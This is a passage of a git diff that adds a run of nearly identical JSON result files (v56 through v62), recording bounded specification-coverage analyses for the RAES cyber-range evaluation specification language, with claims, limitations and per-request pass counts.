100644 index 000000000..715bdd124 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v56.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1365-v56", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v56.json", + "docs/research/specification-coverage/analysis-v56.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "directly-expressible": 10, + "profile-or-manifest-constraint": 2, + "deliberately-backend-specific": 1, + "missing": 3 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "API-424 v2 participant-control publication is verified by its dedicated contract tests, not promoted to a live provider or backend claim by this retained matrix." + ], + "load_bearing_results": { + "total": 10, + "passed": 10, + "failed": 0, + "missing": 0 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that publishes API-424 v2 participant-control contracts. It does not demonstrate runtime adoption.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "request_id": "survey-representative-range", + "status": "demonstrated", + "concept_count": 6, + "missing_count": 0, + "failed_stage_count": 0 + }, + { + "request_id": "cyborg-participant-evaluation", + "status": "partial", + "concept_count": 5, + "missing_count": 1, + "failed_stage_count": 1 + }, + { + "request_id": "vsdl-configurable-infrastructure", + "status": "partial", + "concept_count": 3, + "missing_count": 1, + "failed_stage_count": 1 + }, + { + "request_id": "cyber-dem-federation", + "status": "partial", + "concept_count": 2, + "missing_count": 1, + "failed_stage_count": 1 + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v56", + "snapshot_sha256": "8eae117dd7b506342ac927517aae8bba6fb7096d5280b5648bbfb07de8d89691" +} diff --git a/docs/research/specification-coverage/analysis-v57.json b/docs/research/specification-coverage/analysis-v57.json new file mode 100644 index 000000000..1e3b2b256 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v57.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1365-v57", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v57.json", + "docs/research/specification-coverage/analysis-v57.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "API-424 v2 participant-control publication is verified by its dedicated contract tests, not promoted to a live provider or backend claim by this retained matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that publishes API-424 v2 participant-control contracts. It does not demonstrate runtime adoption.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v57", + "snapshot_sha256": "3fb1abe1f19140d3ef4de8e104a9666c09af11b4bb0e9e4257b2dca5c86d927f" +} diff --git a/docs/research/specification-coverage/analysis-v58.json b/docs/research/specification-coverage/analysis-v58.json new file mode 100644 index 000000000..0f354ea3e --- /dev/null +++ b/docs/research/specification-coverage/analysis-v58.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1365-v58", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v58.json", + "docs/research/specification-coverage/analysis-v58.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "API-424 v2 participant-control publication is verified by its dedicated contract tests, not promoted to a live provider or backend claim by this retained matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that publishes API-424 v2 participant-control contracts. It does not demonstrate runtime adoption.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v58", + "snapshot_sha256": "82633fc7f2e84d64a65b0d9e47f8af7a2c4c64b1a8bdd65e2b67df3d8c46fd88" +} diff --git a/docs/research/specification-coverage/analysis-v59.json b/docs/research/specification-coverage/analysis-v59.json new file mode 100644 index 000000000..9395fa72a --- /dev/null +++ b/docs/research/specification-coverage/analysis-v59.json @@ -0,0 +1,106 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1365-v59", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v59.json", + "docs/research/specification-coverage/analysis-v59.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "API-424 v2 participant-control publication is verified by its dedicated contract tests, not promoted to a live provider or backend claim by this retained matrix.", + "Issue #1400 reverted backend trial execution-authority admission; this replay makes no claim that those guarantees remain published." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays unchanged classifications and claim limits against source that publishes API-424 v2 participant-control contracts. It does not demonstrate runtime adoption.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v59", + "snapshot_sha256": "5e18426cf95f569956dac3a23a183b4922e9612e255dbd0cdec8d66feb5b3e2b" +} diff --git a/docs/research/specification-coverage/analysis-v60.json b/docs/research/specification-coverage/analysis-v60.json new file mode 100644 index 000000000..bcb16a25e --- /dev/null +++ b/docs/research/specification-coverage/analysis-v60.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-971-v55", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v60.json", + "docs/research/specification-coverage/analysis-v60.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained specification matrix replays with unchanged classifications against the source containing the crossing profile and opacity admission guards.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v55", + "snapshot_sha256": "5b8bd21d784e9ee101e3a6f670b9cc57ac1da097f4ac1508d12fae8d9aa478f7" +} diff --git a/docs/research/specification-coverage/analysis-v61.json b/docs/research/specification-coverage/analysis-v61.json new file mode 100644 index 000000000..36d30f855 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v61.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-971-v56", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v61.json", + "docs/research/specification-coverage/analysis-v61.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-27", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Participant-local outcome state is verified by the ACT-618 tests; this retained corpus makes no additional outcome-state claim.", + "Backend operation supervision contracts are covered by issue #1360 contract tests; this retained offline corpus establishes no live backend supervision or recovery guarantee.", + "This capture replays the merged issue #1360 and #1357 source; the protocol makes no live backend execution or supervision claim.", + "This capture replays the merged issue #1360 and #1358 source; the protocol makes no live backend execution or supervision claim.", + "Issue #1389 participant inject delivery temporal-subject admission is covered by dedicated compiler tests; this retained matrix makes no new timing or execution claim.", + "Issue #971 adds offline crossing model construction; this retained protocol establishes no crossing equivalence or runtime-realization claim." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "The retained matrix replays unchanged classifications after adding type annotations to the crossing profile.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v56", + "snapshot_sha256": "67c9cbf005e07767d3a3f603a46e7b6e98c77484f7f47dd4fa79e0d54006dccf" +} diff --git a/docs/research/specification-coverage/analysis-v62.json b/docs/research/specification-coverage/analysis-v62.json new file mode 100644 index 000000000..6b6ab0bb8 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v62.json @@ -0,0 +1,105 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-971-v62", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + 